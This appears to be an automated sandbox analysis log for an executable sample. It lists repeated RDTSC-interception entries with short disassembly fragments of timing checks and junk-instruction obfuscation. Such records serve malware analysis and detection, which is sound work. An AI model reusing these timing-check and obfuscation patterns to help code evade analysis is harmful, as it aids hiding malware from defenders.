Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 116FF8C second address: 116FF9A instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA37887CBE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 116FF9A second address: 116FFB5 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA378880E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007FA378880E2Ah 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 116FFB5 second address: 116FFB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 116BD8A second address: 116BD90 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 116F0D3 second address: 116F0EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA37887CBF2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 116F0EA second address: 116F15F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007FA378880E2Ah 0x0000000d nop 0x0000000e jc 00007FA378880E2Bh 0x00000014 mov edi, 539D16A1h 0x00000019 push dword ptr fs:[00000000h] 0x00000020 mov dword ptr [ebp+12457F50h], eax 0x00000026 mov dword ptr fs:[00000000h], esp 0x0000002d sub dword ptr [ebp+122D3456h], edi 0x00000033 mov eax, dword ptr [ebp+122D16A1h] 0x00000039 push 00000000h 0x0000003b push ebx 0x0000003c call 00007FA378880E28h 0x00000041 pop ebx 0x00000042 mov dword ptr [esp+04h], ebx 0x00000046 add dword ptr [esp+04h], 00000016h 0x0000004e inc ebx 0x0000004f push ebx 0x00000050 ret 0x00000051 pop ebx 0x00000052 ret 0x00000053 mov di, FD50h 0x00000057 push FFFFFFFFh 0x00000059 sbb ebx, 4C8D3621h 0x0000005f push eax 0x00000060 pushad 0x00000061 je 00007FA378880E28h 0x00000067 pushad 0x00000068 popad 0x00000069 push ebx 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1175A92 second address: 1175A9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FA37887CBE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1175A9C second address: 1175AA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1175AA0 second address: 1175AC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA37887CBF5h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1175AC2 second address: 1175AC8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11788A7 second address: 11788CA instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA37887CBE6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FA37887CBF7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1182E8B second address: 1182E8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1182E8F second address: 1182E93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1182E93 second address: 1182E9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1182FF4 second address: 118301F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA37887CBE6h 0x00000008 jno 00007FA37887CBE6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007FA37887CBF7h 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 118301F second address: 1183023 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1183023 second address: 1183027 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1183027 second address: 1183054 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push esi 0x00000009 jg 00007FA378880E26h 0x0000000f pop esi 0x00000010 jmp 00007FA378880E39h 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1183054 second address: 1183071 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FA37887CBE6h 0x00000008 jmp 00007FA37887CBEFh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11838E3 second address: 11838FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA378880E30h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 111F260 second address: 111F266 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 111F266 second address: 111F288 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FA378880E26h 0x0000000a popad 0x0000000b jmp 00007FA378880E37h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 111F288 second address: 111F2A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA37887CBF5h 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b jnc 00007FA37887CBE6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 118C7D4 second address: 118C7E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FA378880E2Eh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 115CB5B second address: 115CB61 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 115CE9F second address: FB1A53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 jmp 00007FA378880E2Dh 0x0000000d nop 0x0000000e mov ecx, 3B27D77Bh 0x00000013 push dword ptr [ebp+122D12D5h] 0x00000019 movzx edx, si 0x0000001c call 00007FA378880E2Ch 0x00000021 call 00007FA378880E2Fh 0x00000026 mov dword ptr [ebp+122D1AC0h], ebx 0x0000002c pop edi 0x0000002d pop edx 0x0000002e call dword ptr [ebp+122D1A9Dh] 0x00000034 pushad 0x00000035 sub dword ptr [ebp+122D322Fh], esi 0x0000003b xor eax, eax 0x0000003d mov dword ptr [ebp+122D3350h], ebx 0x00000043 mov dword ptr [ebp+122D322Fh], ecx 0x00000049 mov edx, dword ptr [esp+28h] 0x0000004d mov dword ptr [ebp+122D3522h], edi 0x00000053 mov dword ptr [ebp+122D3965h], eax 0x00000059 sub dword ptr [ebp+122D3350h], ebx 0x0000005f mov esi, 0000003Ch 0x00000064 mov dword ptr [ebp+122D3522h], edx 0x0000006a add esi, dword ptr [esp+24h] 0x0000006e jmp 00007FA378880E37h 0x00000073 clc 0x00000074 lodsw 0x00000076 mov dword ptr [ebp+122D32F3h], edx 0x0000007c add eax, dword ptr [esp+24h] 0x00000080 xor dword ptr [ebp+122D322Fh], ebx 0x00000086 mov ebx, dword ptr [esp+24h] 0x0000008a mov dword ptr [ebp+122D322Fh], esi 0x00000090 push eax 0x00000091 push eax 0x00000092 push edx 0x00000093 jmp 00007FA378880E2Fh 0x00000098 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 115D042 second address: 115D046 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 115D046 second address: 115D04C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 115D04C second address: 115D052 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 115D12A second address: 115D12E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 115D3AE second address: 115D3B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FA37887CBE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 115D4EE second address: 115D567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA378880E35h 0x00000009 popad 0x0000000a jmp 00007FA378880E2Ch 0x0000000f popad 0x00000010 push eax 0x00000011 jmp 00007FA378880E31h 0x00000016 nop 0x00000017 xor ecx, 0B6E9800h 0x0000001d mov edx, dword ptr [ebp+122D3839h] 0x00000023 push 00000004h 0x00000025 mov edi, 43A879B8h 0x0000002a nop 0x0000002b jno 00007FA378880E40h 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 ja 00007FA378880E28h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 115D901 second address: 115D93A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA37887CBF3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov edi, dword ptr [ebp+122D387Dh] 0x00000012 movsx edi, si 0x00000015 push 0000001Eh 0x00000017 movzx edx, ax 0x0000001a nop 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FA37887CBEEh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 115D93A second address: 115D944 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FA378880E26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 115D944 second address: 115D963 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jmp 00007FA37887CBF2h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 115DABF second address: 115DAC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 115DAC4 second address: 115DACA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 115DC70 second address: 115DC74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 115DC74 second address: 115DCB1 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FA37887CBE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push edi 0x0000000d jmp 00007FA37887CBF8h 0x00000012 pop edi 0x00000013 jmp 00007FA37887CBEDh 0x00000018 popad 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d push esi 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 115DCB1 second address: 115DCC8 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA378880E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e push edx 0x0000000f jg 00007FA378880E28h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 115DCC8 second address: 115DCCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 115DCCE second address: 115DCD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 115DCD2 second address: 115DCE4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pushad 0x00000010 popad 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 113D3E2 second address: 113D3ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007FA378880E26h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 113D3ED second address: 113D3F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 113D3F3 second address: 113D433 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FA378880E33h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jl 00007FA378880E3Bh 0x00000013 push eax 0x00000014 push edx 0x00000015 jnc 00007FA378880E26h 0x0000001b push eax 0x0000001c pop eax 0x0000001d rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 113D433 second address: 113D437 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 118CAEE second address: 118CAF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 118CC5F second address: 118CC71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FA37887CBE6h 0x0000000a jng 00007FA37887CBF2h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 118CC71 second address: 118CC9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FA378880E26h 0x0000000a jmp 00007FA378880E2Eh 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 jne 00007FA378880E26h 0x00000019 jmp 00007FA378880E2Bh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 118CC9E second address: 118CCAB instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FA37887CBE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 118CE18 second address: 118CE1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 118CF39 second address: 118CF53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007FA37887CBE6h 0x0000000d jmp 00007FA37887CBEDh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 118CF53 second address: 118CF7B instructions: 0x00000000 rdtsc 0x00000002 jne 00007FA378880E26h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FA378880E33h 0x00000012 jbe 00007FA378880E26h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 118D0C8 second address: 118D0CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 118D0CF second address: 118D0F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FA378880E37h 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 113D416 second address: 113D433 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA37887CBEFh 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007FA37887CBE6h 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 118D589 second address: 118D591 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11933D7 second address: 11933DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11933DC second address: 11933E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11933E2 second address: 11933E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11933E6 second address: 1193410 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA378880E38h 0x00000007 je 00007FA378880E26h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 ja 00007FA378880E26h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11935DD second address: 11935E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1193A52 second address: 1193A57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1193A57 second address: 1193A86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007FA37887CBE6h 0x00000009 jbe 00007FA37887CBE6h 0x0000000f jng 00007FA37887CBE6h 0x00000015 popad 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 jmp 00007FA37887CBECh 0x0000001e popad 0x0000001f pop edx 0x00000020 pop eax 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 push ecx 0x00000025 pop ecx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1193A86 second address: 1193A8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1193A8D second address: 1193AB0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA37887CBF6h 0x00000007 pushad 0x00000008 jng 00007FA37887CBE6h 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1193C35 second address: 1193C39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1193C39 second address: 1193C3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1193C3D second address: 1193C48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11930E7 second address: 11930ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11940AB second address: 11940CE instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FA378880E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b jmp 00007FA378880E35h 0x00000010 push esi 0x00000011 pop esi 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11940CE second address: 11940D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11940D4 second address: 11940DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11940DA second address: 11940E4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 11940E4 second address: 11940E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1194536 second address: 1194540 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FA37887CBE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1195E4D second address: 1195E78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA378880E39h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA378880E2Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1199ECF second address: 1199ED3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 1199ED3 second address: 1199ED7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 119A05F second address: 119A087 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FA37887CBFCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 119A087 second address: 119A08B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 119A08B second address: 119A08F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 119A08F second address: 119A097 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 119A31F second address: 119A323 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 119A323 second address: 119A32F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
